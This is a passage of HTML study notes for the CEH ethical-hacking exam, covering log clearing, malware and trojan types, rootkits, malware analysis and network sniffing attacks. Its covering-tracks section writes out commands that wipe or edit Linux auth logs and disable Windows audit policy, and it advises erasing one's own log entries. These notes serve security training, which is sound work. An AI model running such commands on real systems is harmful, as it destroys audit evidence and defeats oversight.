        <li>Related to booting and any messages logged during startup.</li>
      </ul>
    </li>
    <li><code>/var/log/maillog</code> or <code>var/log/mail.log</code>
      <ul>
        <li>stores all logs related to mail servers.</li>
      </ul>
    </li>
    <li><strong>Clearing and Modifying logs on Linux</strong>:
      <ul>
        <li>It is possible to echo whitespace to clear the event log file:
          <ul>
            <li><code>echo " " &gt; /var/log/auth.log</code></li>
          </ul>
        </li>
        <li>Also you can perform this by using 'black hole dev/null':
          <ul>
            <li><code>echo /dev/null &gt; auth.log</code></li>
          </ul>
        </li>
        <li>To tamper/modify the log files, you can use <code>sed</code> stream editor to delete, replace and insert
          data.
          <ul>
            <li><code>sed -i '/opened/d' /var/log/auth.log</code> - this command will delete every line that contains
              the '<strong>opened</strong>' word, that refers to opened sessions on Linux system.</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h3><strong>On Windows:</strong></h3>
  <ul>
    <li>To clear out all <strong>command line history</strong>:
      <ul>
        <li>On <strong>Cmd Prompt</strong>: press [<code>alt</code>] + [<code>F7</code>]</li>
        <li>On <strong>PowerShell</strong>: type <code>Clear-History</code></li>
      </ul>
    </li>
  </ul>
  <p>In Windows, you need to clear <strong>application</strong>, <strong>system</strong> and <strong>security
      logs</strong>.</p>
  <ul>
    <li><strong>Auditpol</strong> for changing settings on log files (used for manipulate audit policies).</li>
    <li>Main commands:
      <ul>
        <li><code>auditpol /get /category:*</code> --&gt; display all audit policies in detail if is enable <em>(Object
            Acces, System, Logon/Logoff, Privilege Use, and so on).</em></li>
        <li><code>auditpol /clear</code> --&gt; reset (disable) the system audit policy for all subcategories.</li>
        <li><code>auditpol /remove</code> --&gt; Removes all per-user audit policy settings and disables all system
          audit policy settings.</li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>⚡︎ <strong>Check out the <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/5-System-Hacking/11-Auditpol.md">practical
          lab on Auditpol</a></strong></p>
  </blockquote>
  <ul>
    <li>
      <p><strong>MRU</strong> (Most Recently Used) programs that registry recenlty used programs/files and saves on
        Windows Registry.</p>
    </li>
    <li>
      <p>Is possible to manually clear the logs on <u>Event Viewer</u>.</p>
    </li>
  </ul>
  <h3>Conclusion on Covering Tracks</h3>
  <ul>
    <li>
      <p>Option is to corrupt a log file - this happens all the time</p>
    </li>
    <li>
      <p>Best option is be selective and delete the entries pertaining to your actions.</p>
    </li>
    <li>
      <p><strong>Can also disable auditing ahead of time to prevent logs from being captured</strong></p>
    </li>
    <li>
      <p>Tools:</p>
      <ul>
        <li>ccleaner --&gt; automate the system cleaning, scrub online history, log files, etc. [Windows]</li>
        <li>MRUblaster [Windows]</li>
        <li>Meterpreter on MSF have <strong>clearev</strong> to clear all event logs remotely. [Kali Linux using MSF]
        </li>
      </ul>
    </li>
  </ul>
  <h1>4. Malwares</h1>
  <blockquote>
    <p>⚡︎ <strong>This chapter has <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/tree/master/6-Malware">practical labs</a></strong></p>
  </blockquote>
  <h3>- <strong>What is Malware?</strong></h3>
  <p><em>Any software intentionally designed to cause damage to a computer, server or computer network. The code is
      described as computer viruses, worms, Trojan horses, ransomware, spyware, adware, and scareware, among other
      terms. Malware has a malicious intent, acting against the interest of the computer user.</em></p>
  <h2><u>Types of Viruses and Worms 🐛 </u></h2>
  <ul>
    <li><strong>How it works?</strong>
      <ol>
        <li>Infection Phase - a virus planted on a target system and replicates itself and attaches to one or more
          executable files</li>
        <li>Attack phase - the infected file is executed accidentally by the user, or in some way is deployed and
          activated</li>
      </ol>
    </li>
  </ul>
  <ul>
    <li>
      <p><strong>Virus</strong> - Designed to spread from host to host and has the ability to replicate itself. They
        cannot reproduce/spread without help. They operate by inserting or attaching itself to a legitimate program or
        document in order to execute its code.</p>
    </li>
    <li>
      <p><strong>Macro Virus</strong> - Written in a macro language (e.g: VBA) and that is platform independent.</p>
    </li>
    <li>
      <p><strong>Compression Viruses</strong> - Another type of virus that appends itself to executables on the system
        and compresses them by user's permissions.</p>
    </li>
    <li>
      <p><strong>Stealth Virus</strong> - Hides the modifications it has made; Trick antivirus software; intercepting
        its requests to the OS and provides false and bogus information.</p>
    </li>
    <li>
      <p><strong>Polymorphic Virus</strong> - Produces varied but operational copies of itself. A polymorphic virus may
        have no parts that remain identifcal between infections, making it very hard to detect using signatures.</p>
    </li>
    <li>
      <p><strong>Multipart Virus</strong> - Attempts to infect both boot sector and files; generally refers to viruses
        with multiple infection methods</p>
    </li>
    <li>
      <p><strong>Self-garbling (metamorphic) virus</strong> - Rewrites itself every time it infects a new file.</p>
    </li>
    <li>
      <p><strong>Other Virus Types</strong></p>
      <ul>
        <li><strong>Boot Sector Virus</strong> - known as system virus; moves boot sector to another location and then
          inserts its code int he original location</li>
        <li><strong>Shell Virus</strong> - wraps around an application's code, inserting itself before the application's
        </li>
        <li><strong>Cluster Virus</strong> - modifies directory table entries so every time a file or folder is opened,
          the virus runs</li>
        <li><strong>Encryption Virus</strong> - uses encryption to hide the code from antivirus</li>
        <li><strong>Cavity Virus</strong> - overwrite portions of host files as to not increase the actual size of the
          file; uses null content sections</li>
        <li><strong>Sparse Infector Virus</strong> - only infects occasionally (e.g. every 10th time)</li>
        <li><strong>File Extension Virus</strong> - changes the file extensions of files to take advantage of most
          people having them turned off (readme.txt.vbs shows as readme.txt)</li>
      </ul>
    </li>
    <li>
      <p><strong>Virus Makers</strong></p>
      <ul>
        <li>Sonic Bat</li>
        <li>PoisonVirus Maker</li>
        <li>Sam's Virus Generator</li>
        <li>JPS Virus Maker</li>
      </ul>
    </li>
    <li>
      <p><strong>Worm</strong> - self-replicating malware that sends itself to other computers without human
        intervention</p>
      <ul>
        <li>Usually doesn't infect files - just resides in active memory</li>
        <li>Often used in botnets</li>
      </ul>
    </li>
    <li>
      <p><strong>Ghost Eye Worm</strong> - hacking tool that uses random messaging on Facebook and other sites to
        perform a host of malicious efforts.</p>
    </li>
    <li>
      <p><strong>Logic Bomb</strong> - Executes a program when a certain event happens or a date and time arrives.</p>
    </li>
    <li>
      <p><strong>Rootkit</strong> - Set of malicious tools that are loaded on a compromised system through stealthy
        techniques; Very hard to detect;</p>
    </li>
    <li>
      <p><strong>Ransomware</strong> - malicious software designed to deny access to a computer until a price is paid;
        usually spread through email</p>
      <ul>
        <li><strong>WannaCry</strong> - famous ransomware; within 24 hours had 230,000 victims; exploited unpatched SMB
          vulnerability
          <ul>
            <li><strong>Other Examples</strong>
              <ul>
                <li>Cryptorbit</li>
                <li>CryptoLocker</li>
                <li>CryptoDefense</li>
                <li>police-themed</li>
              </ul>
            </li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Trojan horse</strong> - A program that is disguised as another legitimate program with the goal of
        carrying out malicious activities in the background without user's knowledge.</p>
      <ul>
        <li><strong>RAT - Remote Access Trojans</strong> - Malicious programs that run on systems and allow intruders to
          access and use a system remotely.</li>
      </ul>
    </li>
    <li>
      <p><strong>Immunizer</strong> - Attaches code to a file or application, which would fool a virus into 'thinking'
        it was already infected. (e.g: like human vaccine).</p>
    </li>
    <li>
      <p><strong>Behavior blocking</strong> - Allowing the suspicious code to execute within the OS and watches its
        interactions looking for suspicious activities.</p>
    </li>
  </ul>
  <blockquote>
    <p>️⚠️ - Viruses needs help/interaction to propagate; Worms self propagates</p>
  </blockquote>
  <h3>Major characteristics of viruses:</h3>
  <ol>
    <li>Infecting other files</li>
    <li>Alteration of data</li>
    <li>Transforms itself</li>
    <li>Corruption of files and data</li>
    <li>Encrypts itself</li>
    <li>Self-replication</li>
  </ol>
  <h3>Stages of Virus Lifecycle:</h3>
  <ol>
    <li>Design</li>
    <li>Replication</li>
    <li>Launch</li>
    <li>Detection</li>
    <li>Incorporation - A.V. figures out the virus pattern &amp; builds signatures to identify and eliminate the virus
    </li>
    <li>Execution of the damage routine - A.V. to the rescue</li>
  </ol>
  <h2><u>Malware Basics</u></h2>
  <ul>
    <li><strong>How is malware distributed?</strong>
      <ul>
        <li>SEO manipulation</li>
        <li>Social Engineering / Click-jacking</li>
        <li>Phishing</li>
        <li>Malvertising</li>
        <li>Compromising legitimate sites</li>
        <li>Drive-by downloads</li>
        <li>Spam</li>
      </ul>
    </li>
  </ul>
  <ul>
    <li>
      <p><strong>Malware</strong> - software designed to harm or secretly access a computer system without informed
        consent</p>
      <ul>
        <li>Most is downloaded from the Internet with or without the user's knowledge</li>
      </ul>
    </li>
    <li>
      <p><strong>Overt Channels</strong> - legitimate communication channels used by programs</p>
    </li>
    <li>
      <p><strong>Covert Channels</strong> - used to transport data in unintended ways</p>
    </li>
    <li>
      <p><strong>Wrappers</strong> - programs that allow you to bind an executable to an innocent file</p>
    </li>
  </ul>
  <h3><strong>Basic components of Malware</strong></h3>
  <ol>
    <li>
      <p><strong>Crypters</strong> - use a combination of encryption and code manipulation to render malware
        undetectable to security programs; protects from being scanned or found during analysis.</p>
    </li>
    <li>
      <p><strong>Downloader</strong> - Used to download additional malware.</p>
    </li>
    <li>
      <p><strong>Dropper</strong> - Used to install additional malware into the target system.</p>
    </li>
    <li>
      <p><strong>Exploit</strong> - Malicious code used to execute on a specific vulnerability.</p>
    </li>
    <li>
      <p><strong>Injector</strong> - Used to expose vulnerable processes in the target system to the exploit.</p>
    </li>
    <li>
      <p><strong>Obfuscator</strong> - Used to conceal the true purpose of the malware.</p>
    </li>
    <li>
      <p><strong>Packers</strong> - Used to bundle all of the malware files together into a single executable.</p>
    </li>
    <li>
      <p><strong>Payload</strong> - Used to take over the target machine.</p>
    </li>
    <li>
      <p><strong>Malicious Code</strong> - Used to define the abilities of the malware.</p>
    </li>
  </ol>
  <p><strong>Exploit Kits</strong> - help deliver exploits and payloads</p>
  <ul>
    <li>Infinity</li>
    <li>Bleeding Life</li>
    <li>Crimepack</li>
    <li>Blackhole Exploit Kit</li>
  </ul>
  <h2><u>Trojans 🐴</u></h2>
  <ul>
    <li>
      <p>Software that appears to perform a desirable function but instead performs malicious activity</p>
      <ul>
        <li>To hackers, it is a method to gain and maintain access to a system</li>
        <li>Trojans are means of delivery whereas a backdoor provides the open access</li>
        <li>Trojans are typically spread through <strong>Social Engineering</strong>.</li>
      </ul>
    </li>
    <li>
      <p><strong>Types of Trojans:</strong></p>
      <ul>
        <li><strong>Defacement trojan</strong></li>
        <li><strong>Proxy server trojan</strong></li>
        <li><strong>Botnet trojan</strong>
          <ul>
            <li>Chewbacca</li>
            <li>Skynet</li>
          </ul>
        </li>
        <li><strong>Remote access trojans</strong>
          <ul>
            <li>RAT</li>
            <li>MoSucker</li>
            <li>Optix Pro</li>
            <li>Blackhole</li>
          </ul>
        </li>
        <li><strong>E-banking trojans</strong>
          <ul>
            <li>Zeus</li>
            <li>Spyeye</li>
          </ul>
        </li>
        <li><strong>IoT Trojans</strong></li>
        <li><strong>Security Software Disable Trojans</strong></li>
        <li><strong>Command Shell Trojan</strong> - Provides a backdoor to connect to through command-line access
          <ul>
            <li>Netcat</li>
          </ul>
        </li>
        <li><strong>Covert Channel Tunneling Trojan</strong> (CCTT) - a RAT trojan; creates data transfer channels in
          previously authorized data streams</li>
      </ul>
    </li>
  </ul>
  <h3>Infection Process:</h3>
  <ol>
    <li>Creation of a Trojan using Trojan Construction Kit</li>
    <li>Create a Dropper
      <ul>
        <li>Used to install additional malware into the target system.</li>
      </ul>
    </li>
    <li>Create a Wrapper
      <ul>
        <li>Wrappers - programs that allow you to bind an executable to an innocent file</li>
      </ul>
    </li>
    <li>Propagate the Trojan</li>
    <li>Execute the Dropper</li>
  </ol>
  <h3><strong>Trojan Port Numbers</strong>:</h3>
  <table>
    <thead>
      <tr>
        <th>Trojan Name</th>
        <th>TCP Port</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>Death</td>
        <td>2</td>
      </tr>
      <tr>
        <td>Senna Spy</td>
        <td>20</td>
      </tr>
      <tr>
        <td>Blade Runner, Doly Trojan, Fore, Invisble FTP, WebEx, WinCrash</td>
        <td>21</td>
      </tr>
      <tr>
        <td>Shaft</td>
        <td>22</td>
      </tr>
      <tr>
        <td>Executor</td>
        <td>80</td>
      </tr>
      <tr>
        <td>Hackers Paradise</td>
        <td>31,456</td>
      </tr>
      <tr>
        <td>TCP Wrappers</td>
        <td>421</td>
      </tr>
      <tr>
        <td>Ini-Killer</td>
        <td>555</td>
      </tr>
      <tr>
        <td>Doom, Santaz Back</td>
        <td>666</td>
      </tr>
      <tr>
        <td>Silencer, WebEx</td>
        <td>1001</td>
      </tr>
      <tr>
        <td>DolyTrojan</td>
        <td>1011</td>
      </tr>
      <tr>
        <td>RAT</td>
        <td>1095-98</td>
      </tr>
      <tr>
        <td>SubSeven</td>
        <td>1243</td>
      </tr>
      <tr>
        <td>Shiva-Burka</td>
        <td>1600</td>
      </tr>
      <tr>
        <td>Trojan Cow</td>
        <td>2001</td>
      </tr>
      <tr>
        <td>Deep Throat</td>
        <td>6670-71</td>
      </tr>
      <tr>
        <td>Tini</td>
        <td>7777</td>
      </tr>
      <tr>
        <td>Dumaru.Y</td>
        <td>10000</td>
      </tr>
      <tr>
        <td>SubSeven 1.0-1.8, MyDoom.B</td>
        <td>10080</td>
      </tr>
      <tr>
        <td>VooDoo Doll, NetBus 1.x, GabanBus, Pie Bill Gates, X-Bill</td>
        <td>12345</td>
      </tr>
      <tr>
        <td>Whack a Mole</td>
        <td>12361-3</td>
      </tr>
      <tr>
        <td>NetBus</td>
        <td>17300</td>
      </tr>
      <tr>
        <td>Back Orifice</td>
        <td>31337,8</td>
      </tr>
      <tr>
        <td>SubSeven, PhatBot, AgoBot, Gaobot</td>
        <td>65506</td>
      </tr>
    </tbody>
  </table>
  <blockquote>
    <p>⚠️ - Its not necessary to know every possible trojan port in the history for the CEH exam, it's good for
      understanding.</p>
  </blockquote>
  <h3><strong>Trojan Countermeasures</strong></h3>
  <ol>
    <li>Avoid cicking on unusual or suspect email attachments</li>
    <li>Block unused ports</li>
    <li>Monitor network traffic</li>
    <li>Avoid downloading from unstrusted sources</li>
    <li>Install &amp; updated anti-virus software</li>
    <li>Scan removable media before use</li>
    <li>Validate file integrity of all externally sourced software</li>
    <li>Enable auditing</li>
    <li>Configure Host-Based firewalls</li>
    <li>Use IDS</li>
  </ol>
  <h3>Techniques</h3>
  <ul>
    <li><strong><code>netstat -an</code></strong> - shows open ports in numerical order</li>
    <li><strong><code>netstat -b</code></strong> - displays all active connections and the processes using them</li>
    <li><strong>Process Explorer</strong> - Microsoft tool that shows you everything about running processes</li>
    <li><strong>Registry Monitoring Tools</strong>
      <ul>
        <li>SysAnalyzer</li>
        <li>Tiny Watcher</li>
        <li>Active Registry Monitor</li>
        <li>Regshot</li>
      </ul>
    </li>
    <li><strong>Msconfig</strong> - Windows program that shows all programs set to start on startup</li>
    <li><strong>Tripwire</strong> - integrity verifier that can act as a HIDS in protection against trojans</li>
    <li><strong>SIGVERIF</strong> - build into Windows to verify the integrity of the system
      <ul>
        <li>Log file can be found at <code>c:\windows\system32\sigverif.txt</code></li>
        <li>Look for drivers that are not signed</li>
      </ul>
    </li>
  </ul>
  <h2><u>Malware Analysis</u></h2>
  <p><em>Malware analysis is the study or process of determining the functionality, origin and potential impact of a
      given malware sample such as a virus, worm, trojan horse, rootkit, or backdoor.</em></p>
  <h3><strong>Types of Malware analysis:</strong></h3>
  <ol>
    <li>
      <p><strong>Static (Code Analysis)</strong> - performed by fragmenting the binary file into individual elements
        that can be analyzed without executing them.</p>
      <ul>
        <li>File fingerprinting</li>
        <li>Local &amp; online scanning of elements to see if they match known malware profiles</li>
        <li>String searching</li>
        <li>Identifying packers/obfuscators used</li>
        <li>Identifying the PE's (portable executable) information</li>
        <li>Identify dependencies</li>
        <li>Malware disassembly</li>
      </ul>
    </li>
    <li>
      <p><strong>Dynamic (Behavioral Analysis)</strong> - performed by executing the malware to see what effect it has
        on the system.</p>
      <ul>
        <li>System baselining</li>
        <li>Host integrity monitoring</li>
      </ul>
    </li>
  </ol>
  <ul>
    <li>
      <p><strong>Tools for Disassembling | Debugging | Reverse Engineering:</strong></p>
      <ul>
        <li>IDA Pro</li>
        <li>OllyDdg</li>
        <li>Ghidra by NSA</li>
      </ul>
    </li>
    <li>
      <p><strong>Sheepdip</strong> - Dedicated computer which is used to test files on removable media for viruses
        before they are allowed to be used with other computers.</p>
    </li>
  </ul>
  <h3><strong>Steps</strong></h3>
  <ol>
    <li>Make sure you have a good test bed
      <ul>
        <li>Use a VM with NIC in host-only mode and no open shares</li>
      </ul>
    </li>
    <li>Analyze the malware on the isolated VM in a static state
      <ul>
        <li>Tools - binText and UPX help with looking at binary</li>
      </ul>
    </li>
    <li>Run the malware and check out processes
      <ul>
        <li>Use Process Monitor, etc. to look at processes</li>
        <li>Use NetResident, TCPview or even Wireshark to look at network activity</li>
      </ul>
    </li>
    <li>Check and see what files were added, changed, or deleted
      <ul>
        <li>Tools - IDA Pro, VirusTotal, Anubis, Threat Analyzer</li>
      </ul>
    </li>
  </ol>
  <ul>
    <li><strong>Preventing Malware</strong>
      <ul>
        <li>Make sure you know what is going on in your system</li>
        <li>Have a good antivirus that is up to date
          <ul>
            <li>Airgapped - isolated on network</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h2><u>Rootkits</u></h2>
  <ul>
    <li>Software put in place by attacker to obscure system compromise</li>
    <li>Hides processes and files</li>
    <li>Also allows for future access</li>
    <li><strong>Examples</strong>
      <ul>
        <li>Horsepill - Linus kernel rootkit inside initrd</li>
        <li>Grayfish - Windows rootkit that injects in boot record</li>
        <li>Firefef - multi-component family of malware</li>
        <li>Azazel</li>
        <li>Avatar</li>
        <li>Necurs</li>
        <li>ZeroAccess</li>
      </ul>
    </li>
    <li><strong>Hypervisor level</strong> - rootkits that modify the boot sequence of a host system to load a VM as the
      host OS</li>
    <li><strong>Hardware</strong> - hide malware in devices or firmware</li>
    <li><strong>Boot loader level</strong> - replace boot loader with one controlled by hacker</li>
    <li><strong>Application level</strong> - directed to replace valid application files with Trojans</li>
    <li><strong>Kernel level</strong> - attack boot sectors and kernel level replacing kernel code with back-door code;
      most dangerous</li>
    <li><strong>Library level</strong> - use system-level calls to hide themselves</li>
    <li>One way to detect rootkits is to map all the files on a system and then boot a system from a clean CD version
      and compare the two file systems</li>
  </ul>
  <h1>5. Sniffing</h1>
  <blockquote>
    <p>⚡︎ <strong>This chapter has <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/tree/master/7-Sniffing">practical labs</a></strong></p>
  </blockquote>
  <p><em>Sniffing is the process of monitoring and capturing all the packets passing through a given network using
      sniffing tools. It is a form of “tapping phone wires” and get to know about the conversation. It is also called
      wiretapping applied to the computer networks.</em></p>
  <h2><u>Active and Passive Sniffing</u></h2>
  <ul>
    <li><strong>Passive sniffing</strong> - watching network traffic without interaction; only works for same collision
      domain</li>
    <li><strong>Active sniffing</strong> - uses methods to make a switch send traffic to you even though it isn't
      destined for your machine</li>
    <li><strong>Span port</strong> - switch configuration that makes the switch send a copy of all frames from other
      ports to a specific port
      <ul>
        <li>Not all switches have the ability to do this</li>
        <li>Modern switches sometimes don't allow span ports to send data - you can only listen</li>
      </ul>
    </li>
    <li><strong>Network tap</strong> - special port on a switch that allows the connected device to see all traffic
      <ul>
        <li><img
            src="https://i1.wp.com/ipwithease.com/wp-content/uploads/2014/06/NETWORK-TAP.jpg?resize=768%252C429&amp;ssl=1"
            alt="net-tap"></li>
      </ul>
    </li>
    <li><strong>Port mirroring</strong> - another word for span port</li>
  </ul>
  <h2><u>Basics</u></h2>
  <ul>
    <li>Sniffing is capturing packets as they pass on the wire to review for interesting information</li>
    <li><strong>MAC</strong> (Media Access Control) - physical or burned-in address - assigned to NIC for communications
      at the Data Link layer
      <ul>
        <li>48 bits long</li>
        <li>Displayed as 12 hex characters separated by colons</li>
        <li>First half of address is the <strong>organizationally unique identifier</strong> - identifies manufacturer
        </li>
        <li>Second half ensures no two cards on a subnet will have the same address</li>
      </ul>
    </li>
    <li>NICs normally only process signals meant for it</li>
    <li><strong>Promiscuous mode</strong> - NIC must be in this setting to look at all frames passing on the wire</li>
    <li><strong>CSMA/CD</strong> - Carrier Sense Multiple Access/Collision Detection - used over Ethernet to decide who
      can talk</li>
    <li><strong>Collision Domains</strong>
      <ul>
        <li>Traffic from your NIC (regardless of mode) can only be seen within the same collision domain</li>
        <li>Hubs by default have one collision domain</li>
        <li>Switches have a collision domain for each port</li>
      </ul>
    </li>
  </ul>
  <h2><u>Protocols Susceptible</u></h2>
  <p><em>Some of the protocols that are vulnerable to sniffing attacks.</em></p>
  <ul>
    <li>
      <p><strong>IMAP</strong>, <strong>POP3</strong>, <strong>NNTP</strong> and <strong>HTTP</strong> all send over
        clear text data</p>
    </li>
    <li>
      <p><strong>SMTP</strong> is sent in plain text and is viewable over the wire. SMTP v3 limits the information you
        can get, but you can still see it.</p>
    </li>
    <li>
      <p><strong>FTP</strong> sends user ID and password in clear text</p>
    </li>
    <li>
      <p><strong>TFTP</strong> passes everything in clear text</p>
    </li>
    <li>
      <p><strong>TCP</strong> shows sequence numbers (usable in session hijacking)</p>
    </li>
    <li>
      <p><strong>TCP</strong> and <strong>UCP</strong> show open ports</p>
    </li>
    <li>
      <p><strong>IP</strong> shows source and destination addresses</p>
    </li>
  </ul>
  <h2><u>ARP</u></h2>
  <ul>
    <li>Stands for Address Resolution Protocol</li>
    <li>Resolves IP address to a MAC address</li>
    <li>Packets are ARP_REQUEST and ARP_REPLY</li>
    <li>Each computer maintains it's own ARP cache, which can be poisoned</li>
    <li><strong>Commands</strong>
      <ul>
        <li><strong><code>arp -a</code></strong> displays current ARP cache</li>
        <li><strong><code>arp -d *</code></strong> clears ARP cache</li>
      </ul>
    </li>
    <li>Works on a broadcast basis - both requests and replies are broadcast to everyone</li>
    <li><strong>Gratuitous ARP</strong> - special packet to update ARP cache even without a request
      <ul>
        <li>This is used to poison cache on other machines</li>
      </ul>
    </li>
  </ul>
  <h2><u>IPv6</u></h2>
  <ul>
    <li>Uses 128-bit address</li>
    <li>Has eight groups of four hexadecimal digits</li>
    <li>Sections with all 0s can be shorted to nothing (just has start and end colons)</li>
    <li>Double colon can only be used once</li>
    <li>Loopback address is ::1</li>
  </ul>
  <table>
    <thead>
      <tr>
        <th>IPv6 Address Type</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>Unicast</td>
        <td>Addressed and intended for one host interface</td>
      </tr>
      <tr>
        <td>Multicast</td>
        <td>Addressed for multiple host interfaces</td>
      </tr>
      <tr>
        <td>Anycast</td>
        <td>Large number of hosts can receive; nearest host opens</td>
      </tr>
    </tbody>
  </table>
  <table>
    <thead>
      <tr>
        <th>IPv6 Scopes</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>Link local</td>
        <td>Applies only to hosts on the same subnet (Address block fe80::/10)</td>
      </tr>
      <tr>
        <td>Site local</td>
        <td>Applies to hosts within the same organization (Address block FEC0::/10)</td>
      </tr>
      <tr>
        <td>Global</td>
        <td>Includes everything</td>
      </tr>
    </tbody>
  </table>
  <ul>
    <li>Scope applies for multicast and anycast</li>
    <li>Traditional network scanning is <strong>computationally less feasible</strong></li>
  </ul>
  <h2><u>Wiretapping</u></h2>
  <p><em>Wiretapping, also known as telephone tapping, is the process of monitoring telephone and Internet conversations
      by a third party, often by covert means.</em></p>
  <ul>
    <li><strong>Lawful interception</strong> - Legally intercepting communications between two parties</li>
    <li><strong>Active</strong> - Interjecting something into the communication</li>
    <li><strong>Passive</strong> - Only monitors and records the data</li>
    <li><strong>PRISM</strong> - System used by NSA to wiretap external data coming into US</li>
  </ul>
  <h2><u>MAC Flooding</u></h2>
  <ul>
    <li>
      <p>Switches either flood or forward data</p>
    </li>
    <li>
      <p>If a switch doesn't know what MAC address is on a port, it will flood the data until it finds out</p>
    </li>
    <li>
      <p><strong>CAM Table</strong> - the table on a switch that stores which MAC address is on which port</p>
      <ul>
        <li>If table is empty or full, everything is sent to all ports</li>
      </ul>
    </li>
    <li>
      <p>MAC Flooding will often destroy the switch before you get anything useful, doesn't last long and it will get
        you noticed. Also, most modern switches protect against this.</p>
    </li>
    <li>
      <p><strong>CAM Table Overflow Attack</strong> - Occurs when an attacker connects to a single or multiple switch
        ports and then runs a tool that mimics the existence of thousands of random MAC addresses on those switch ports.
        The switch enters these into the CAM table, and eventually the CAM table fills to capacity. <em>(This works by
          sending so many MAC addresses to the CAM table that it can't keep up).</em> <strong>This attack can be
          performed by using macof.</strong>
        <br></p>
    </li>
    <li>
      <p><img src="https://i0.wp.com/kalilinuxtutorials.com/wp-content/uploads/2015/09/macof2.png" alt="macof"></p>
    </li>
    <li>
      <p><strong>Tools for MAC flooding</strong></p>
      <ul>
        <li>Etherflood</li>
        <li>Macof</li>
        <li>Dsniff</li>
      </ul>
    </li>
  </ul>
  <h2><u>Switch port stealing</u></h2>
  <p>Tries to update information regarding a specific port in a race condition</p>
  <ol>
    <li>ARP Flood
      <ul>
        <li>Source MAC address same a victim</li>
        <li>Destination MAC is attacker's</li>
        <li>CAM updates port info (stolen)</li>
      </ul>
    </li>
    <li>Attacker now intercepts victim traffic</li>
    <li>Attacker stops flooding</li>
    <li>Victim reclaims port</li>
    <li>Attacker retransmits captured data</li>
    <li>Attacker repeats flooding</li>
  </ol>
  <h2><u>ARP Poisoning</u></h2>
  <p><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/33/ARP_Spoofing.svg/1200px-ARP_Spoofing.svg.png"
      alt="arp">
    <em><strong>ARP spoofing</strong> is a type of attack in which a malicious actor sends falsified ARP (Address
      Resolution Protocol) messages over a local area network. This results in the linking of an attacker's MAC address
      with the IP address of a legitimate computer or server on the network.</em></p>
  <ul>
    <li><strong>Also called ARP spoofing or gratuitous ARP</strong></li>
    <li>This can trigger alerts because of the constant need to keep updating the ARP cache of machines</li>
    <li>Changes the cache of machines so that packets are sent to you instead of the intended target</li>
    <li><strong>Countermeasures</strong>
      <ul>
        <li>Dynamic ARP Inspection using DHCP snooping</li>
        <li>Can use Static ARP ACL to map</li>
        <li>Header to Payload validation</li>
        <li>XArp software can also watch for this</li>
        <li>Default gateway MAC can also be added permanently into each machine's cache</li>
      </ul>
    </li>
    <li><strong>Tools for ARP Poisoning</strong>
      <ul>
        <li>Cain and Abel</li>
        <li>WinArpAttacker</li>
        <li>Ufasoft</li>
        <li>dsniff</li>
      </ul>
    </li>
  </ul>
  <h2><u>DHCP Starvation</u></h2>
  <p><em>Is an attack that targets DHCP servers whereby forged DHCP requests are crafted by an attacker with the intent
      of exhausting all available IP addresses that can be allocated by the DHCP server.</em></p>
  <ul>
    <li>Attempt to exhaust all available addresses from the server</li>
    <li>Attacker sends so many requests that the address space allocated is exhausted</li>
    <li>DHCPv4 packets - <code>DHCPDISCOVER</code>, <code>DHCPOFFER</code>, <code>DHCPREQUEST</code>,
      <code>DHCPACK</code></li>
    <li>DHCPv6 packets - Solicit, Advertise, Request (Confirm/Renew), Reply</li>
    <li><strong>DHCP Steps</strong>
      <ol>
        <li>Client sends <code>DHCPDISCOVER</code></li>
        <li>Server responds with <code>DHCPOFFER</code></li>
        <li>Client sends request for IP with <code>DHCPREQUEST</code></li>
        <li>Server sends address and config via <code>DHCPACK</code></li>
      </ol>
    </li>
    <li><strong>Tools</strong>
      <ul>
        <li>Yersinia</li>
        <li>DHCPstarv</li>
      </ul>
    </li>
    <li>Mitigation is to configure DHCP snooping</li>
    <li><strong>Rogue DHCP Server</strong> - setup to offer addresses instead of real server. Can be combined with
      starvation to real server.</li>
  </ul>
  <h2><u>Spoofing</u></h2>
  <ul>
    <li>
      <p><strong>MAC Spoofing</strong> - Changes your MAC address. Benefit is CAM table uses most recent address.</p>
      <ul>
        <li>Port security can slow this down, but doesn't always stop it.</li>
        <li>MAC Spoofing makes the switch send all packets to your address instead of the intended one until the CAM
          table is updated with the real address again.</li>
      </ul>
    </li>
    <li>
      <p><strong>IRDP Spoofing</strong> - Attacker sends ICMP Router Discovery Protocol messages advertising a malicious
        gateway.</p>
    </li>
    <li>
      <p><strong>DNS Poisoning</strong> - Changes where machines get their DNS info from, allowing attacker to redirect
        to malicious websites.</p>
    </li>
  </ul>
  <h2><u>Sniffing Tools</u></h2>
  <h3><strong>Wireshark</strong></h3>
  <p><em>Wireshark is the world’s foremost and widely-used network protocol analyzer. It lets you see what’s happening
      on your network at a microscopic level.</em></p>
  <ul>
    <li>
      <p>With Wirehsark you can inspect and detect ARP poisonings, Rogue DHCP servers, Broadcast Storm etc.</p>
    </li>
    <li>
      <p><img
          src="https://camo.githubusercontent.com/9a68907d89fefb9c1bcc0eae0c25c154c6868f62/68747470733a2f2f75706c6f61642e77696b696d656469612e6f72672f77696b6970656469612f636f6d6d6f6e732f302f30332f57697265736861726b5f73637265656e73686f742e706e67"
          alt="ws"></p>
      <ul>
        <li>Previously known as Ethereal</li>
        <li>Can be used to follow streams of data</li>
        <li>Can also filter the packets so you can find a specific type or specific source address</li>
      </ul>
    </li>
    <li>
      <p><strong>Wireshark filters</strong>:</p>
      <ul>
        <li><strong><code>!(arp or icmp or dns)</code></strong>
          <ul>
            <li>Filters out the "noise" from ARP, DNS and ICMP requests
              - <strong>!</strong> - Clears out the protocols for better inspection</li>
          </ul>
        </li>
        <li><strong><code>tcp.port == 23</code></strong>
          <ul>
            <li>Look for <strong>specific ports</strong> using tcp.port</li>
          </ul>
        </li>
        <li><strong><code>ip.addr == 10.0.0.165</code></strong>
          <ul>
            <li>Look for specific <strong>IP address</strong></li>
          </ul>
        </li>
